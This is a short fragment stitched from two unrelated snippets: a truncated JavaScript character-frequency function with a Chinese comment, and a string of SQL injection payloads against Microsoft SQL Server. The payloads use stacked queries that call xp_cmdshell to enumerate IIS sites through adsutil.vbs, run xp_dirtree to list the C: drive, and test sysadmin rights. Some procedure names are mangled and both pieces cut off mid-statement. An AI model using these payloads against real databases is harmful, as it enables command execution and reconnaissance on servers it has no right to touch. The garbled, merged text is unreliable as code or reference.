letter=arr[i];if(!obj[letter]){ obj[letter]=1}else{ obj[letter]++; } }for(keyinobj){if(max_num<obj[key]){//循环对象中key,和max_num比较,最后的max_num就是最大的次数,对应的max_key就是相应的字符max_num=obj[key]; max_key=key; } } console.log(max_num,max_key) } max_char(...
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限PUBLIC) 写入表: 语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));– 语句...